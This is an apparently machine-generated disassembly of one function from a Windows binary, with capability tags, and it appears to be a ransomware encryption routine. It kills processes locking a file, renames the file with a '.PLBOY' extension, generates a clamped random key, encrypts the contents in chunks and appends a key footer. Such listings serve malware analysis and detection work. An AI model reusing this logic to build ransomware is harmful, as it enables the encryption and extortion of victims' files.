Function at 0x40acd0
Capabilities:
Contain obfuscated stackstrings
Create restart manager session
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Terminate process
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b790
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x2d48
call fcn.0042aa20
mov eax, dword [0x45f200]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ecx + 0x14], 0xf
xorps xmm0, xmm0
mov eax, dword [ecx + 0x10]
mov byte [ebp - 0x1ae8], 9
movups xmmword [ebp - 0x1ae7], xmm0
mov dword [ebp - 0x1acf], 0
movq qword [ebp - 0x1ad7], xmm0
mov word [ebp - 0x1acb], 0
mov byte [ebp - 0x1ac9], 0
mov dword [ebp - 0x2d48], 1
mov dword [ebp - 0x1b70], 0x20736954
mov dword [ebp - 0x1b6c], 0x6c6f6f63
mov dword [ebp - 0x1b68], 0x64207369
mov dword [ebp - 0x1b64], 0x75666669
mov dword [ebp - 0x1b60], 0x76206573
mov dword [ebp - 0x1b5c], 0x20797265
mov dword [ebp - 0x1b58], 0x6f646e61
mov dword [ebp - 0x1b54], 0x21796c6d
jbe 0x40adb1
add eax, dword [ecx]
mov ecx, dword [ecx]
jmp 0x40adb3
add eax, ecx
push ecx
push eax
push ecx
lea ecx, [ebp - 0x1aa8]
call fcn.0040b5a0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1aa8]
cmp dword [ebp - 0x1a94], 7
push 0x80
cmova eax, dword [ebp - 0x1aa8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [ebp - 0x1a98]
mov eax, 0x7ffffffe
sub eax, ecx
cmp eax, 6
jb 0x40b53b
cmp dword [ebp - 0x1a94], 7
lea eax, [ebp - 0x1aa8]
push 6
cmova eax, dword [ebp - 0x1aa8]
push str..PLBOY
push ecx
push eax
push ecx
push dword [ebp - 0x1a8c]
lea ecx, [ebp - 0x1ac0]
call fcn.00402990
cmp dword [ebp - 0x1aac], 7
lea ecx, [ebp - 0x1ac0]
push 9
cmova ecx, dword [ebp - 0x1ac0]
lea eax, [ebp - 0x1aa8]
cmp dword [ebp - 0x1a94], 7
push ecx
cmova eax, dword [ebp - 0x1aa8]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x40b477
nop word [eax + eax]
cmp dword [ebp - 0x1aac], 7
lea eax, [ebp - 0x1ac0]
push 0
cmova eax, dword [ebp - 0x1ac0]
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x2d4c], esi
cmp esi, 0xffffffff
jne 0x40afde
cmp dword [ebp - 0x2d48], 0
je 0x40b477
push 0x42
lea eax, [ebp - 0x60]
push 0
push eax
call fcn.0042b650
add esp, 0xc
lea eax, [ebp - 0x60]
push eax
push 0
lea eax, [ebp - 0x1a80]
push eax
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x40b477
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x1aa8]
push eax
push 1
push dword [ebp - 0x1a80]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x40afc3
lea eax, [ebp - 0x1a8c]
mov dword [ebp - 0x1a84], 0xa
push eax
lea eax, [ebp - 0x1a78]
push eax
lea eax, [ebp - 0x1a84]
push eax
lea eax, [ebp - 0x1a88]
push eax
push dword [ebp - 0x1a80]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
jne 0x40afc3
mov dword [ebp - 0x2d48], eax
cmp dword [ebp - 0x1a84], eax
jbe 0x40afc3
lea edi, [ebp - 0x1a78]
mov eax, dword [edi + 0x28c]
cmp eax, 4
je 0x40afa8
cmp eax, 0x3e8
je 0x40afa8
mov esi, dword [edi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, esi
je 0x40afa8
push esi
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40afa8
cmp esi, 0xffffffff
je 0x40afa8
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x2d48]
add edi, 0x29c
inc eax
mov dword [ebp - 0x2d48], eax
cmp eax, dword [ebp - 0x1a84]
jb 0x40af55
push dword [ebp - 0x1a80]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov dword [ebp - 0x2d48], 0
jmp 0x40ae70
lea eax, [ebp - 0x1ac8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x40b470
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 0x1a7c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x40b470
lea eax, [ebp - 0x1b30]
push eax
push 0x20
push dword [ebp - 0x1a7c]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x40b41e
mov al, byte [ebp - 0x1b11]
lea edx, [ebp - 0x1b30]
and byte [ebp - 0x1b30], 0xf8
lea ecx, [ebp - 0x1b98]
and al, 0x3f
or al, 0x40
mov byte [ebp - 0x1b11], al
lea eax, [ebp - 0x1ae8]
push eax
call fcn.00405ee0
add esp, 4
lea edx, [ebp - 0x1b30]
lea ecx, [ebp - 0x1b50]
push dword [0x462c0c]
call fcn.00405ee0
movups xmm0, xmmword [0x457f68]
add esp, 4
mov dword [ebp - 0x1bb0], 0
lea edx, [ebp - 0x1b50]
mov dword [ebp - 0x1bac], 0
movups xmmword [ebp - 0x1c70], xmm0
lea ecx, [ebp - 0x1c70]
mov dword [ebp - 0x1ba8], 0
movups xmm0, xmmword [0x457f78]
push 0x20
mov dword [ebp - 0x1ba4], 0
movups xmmword [ebp - 0x1c60], xmm0
mov dword [ebp - 0x1ba0], 0
movups xmm0, xmmword [0x457f88]
movups xmmword [ebp - 0x1c50], xmm0
movups xmm0, xmmword [0x457f98]
movups xmmword [ebp - 0x1c40], xmm0
call fcn.0041f670
add esp, 4
lea edx, [ebp - 0x1b08]
lea ecx, [ebp - 0x1c70]
call fcn.0041f870
mov eax, dword [ebp - 0x1b08]
lea edx, [ebp - 0x1ae8]
mov dword [ebp - 0x1cbc], eax
lea ecx, [ebp - 0x2d40]
mov eax, dword [ebp - 0x1b04]
mov dword [ebp - 0x1cb8], eax
mov eax, dword [ebp - 0x1b00]
mov dword [ebp - 0x1cb4], eax
mov eax, dword [ebp - 0x1afc]
mov dword [ebp - 0x1cb0], eax
mov eax, dword [ebp - 0x1af8]
mov dword [ebp - 0x1cac], eax
mov eax, dword [ebp - 0x1af4]
mov dword [ebp - 0x1ca8], eax
mov eax, dword [ebp - 0x1af0]
mov dword [ebp - 0x1ca4], eax
mov eax, dword [ebp - 0x1aec]
mov dword [ebp - 0x1c7c], 0x100
mov dword [ebp - 0x1c78], 0x100
mov dword [ebp - 0x1ca0], eax
call fcn.0040e2c0
lea edi, [ebp - 0x1b08]
mov edx, 0x676e6f64
mov esi, 0x40
movzx eax, byte [edi]
lea edi, [edi + 1]
mov ecx, edx
shl edx, 8
shr ecx, 0x18
xor ecx, eax
xor edx, dword [ecx*4 + 0x4561f8]
sub esi, 1
jne 0x40b1a3
push 0x40
lea eax, [ebp - 0x1cbc]
mov dword [ebp - 0x1b78], edx
push esi
push eax
call fcn.0042b650
add esp, 0xc
lea eax, [ebp - 0x1b50]
push 0x40
push esi
push eax
call fcn.0042b650
mov ecx, dword [ebp - 0x1ac4]
add esp, 0xc
mov eax, dword [ebp - 0x1ac8]
mov esi, dword [ebp - 0x2d4c]
mov dword [ebp - 0x1a80], ecx
mov dword [ebp - 0x1a88], eax
test ecx, ecx
jg 0x40b214
jl 0x40b25a
cmp eax, 0x500000
jbe 0x40b25a
mov edx, ecx
mov ecx, eax
call fcn.0044b0f0
mulsd xmm0, qword [0x4583d8]
call fcn.0044b040
mov ecx, edx
mov dword [ebp - 0x1a88], eax
mov dword [ebp - 0x1a80], ecx
test ecx, ecx
jg 0x40b245
jl 0x40b25a
cmp eax, 0x4600000
jb 0x40b25a
mov eax, 0x4600000
mov dword [ebp - 0x1a80], 0
mov dword [ebp - 0x1a88], eax
push 0x44eff2
push 0xa00000
call fcn.00429a96
mov edi, eax
add esp, 8
test edi, edi
je 0x40b41e
push 0
xorps xmm0, xmm0
push 0
movlpd qword [ebp - 0x1a90], xmm0
push dword [ebp - 0x1a8c]
movlpd qword [ebp - 0x2d50], xmm0
push dword [ebp - 0x1a90]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x40b2b2
push edi
call fcn.00429840
add esp, 4
jmp 0x40b41e
cmp dword [ebp - 0x1a80], 0
jl 0x40b3d9
mov edx, dword [ebp - 0x1a88]
jg 0x40b2cf
test edx, edx
je 0x40b3d9
mov eax, dword [ebp - 0x2d4c]
mov ecx, dword [ebp - 0x2d50]
mov dword [ebp - 0x2d48], eax
mov dword [ebp - 0x2d4c], ecx
nop word [eax + eax]
mov eax, edx
sub eax, ecx
mov dword [ebp - 0x1a8c], eax
mov eax, dword [ebp - 0x1a80]
sbb eax, dword [ebp - 0x2d48]
js 0x40b31d
jg 0x40b316
cmp dword [ebp - 0x1a8c], 0xa00000
jbe 0x40b31d
mov eax, 0xa00000
jmp 0x40b321
mov eax, edx
sub eax, ecx
push 0
lea ecx, [ebp - 0x1a84]
push ecx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40b2a4
mov eax, dword [ebp - 0x1a84]
test eax, eax
je 0x40b3d9
push eax
push edi
push edi
lea edx, [ebp - 0x2d40]
call fcn.0040e630
mov ecx, dword [ebp - 0x1a84]
add esp, 0xc
xor eax, eax
neg ecx
adc eax, eax
push 1
push 0
neg eax
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x40b2a4
push 0
lea eax, [ebp - 0x1b0c]
push eax
push dword [ebp - 0x1a84]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b2a4
mov ecx, dword [ebp - 0x2d4c]
add ecx, dword [ebp - 0x1a84]
mov eax, dword [ebp - 0x2d48]
mov edx, dword [ebp - 0x1a88]
adc eax, 0
mov dword [ebp - 0x2d4c], ecx
mov dword [ebp - 0x2d48], eax
cmp eax, dword [ebp - 0x1a80]
jl 0x40b2f0
jg 0x40b3d9
cmp ecx, edx
jb 0x40b2f0
push edi
call fcn.00429840
add esp, 4
lea eax, [ebp - 0x2d40]
push 0x10cc
push 0
push eax
call fcn.0042b650
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x1a90], xmm0
push 2
push 0
push dword [ebp - 0x1a8c]
push dword [ebp - 0x1a90]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x40b435
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push dword [ebp - 0x1a7c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x40b477
push 0
lea eax, [ebp - 0x1b10]
push eax
push 0x48
lea eax, [ebp - 0x1b98]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
je 0x40b41f
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push dword [ebp - 0x1a7c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov byte [ebp - 0x2d41], 1
jmp 0x40b47e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x2d41], 0
mov ecx, dword [ebp - 0x1aac]
cmp ecx, 7
jbe 0x40b4be
mov edx, dword [ebp - 0x1ac0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b4b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b540
push ecx
push edx
call fcn.0042980f
add esp, 8
mov ecx, dword [ebp - 0x1a94]
xor eax, eax
mov dword [ebp - 0x1ab0], 0
mov dword [ebp - 0x1aac], 7
mov word [ebp - 0x1ac0], ax
cmp ecx, 7
jbe 0x40b517
mov edx, dword [ebp - 0x1aa8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b50d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b540
push ecx
push edx
call fcn.0042980f
add esp, 8
mov al, byte [ebp - 0x2d41]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004297d1
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402150
call fcn.0042e68f
int3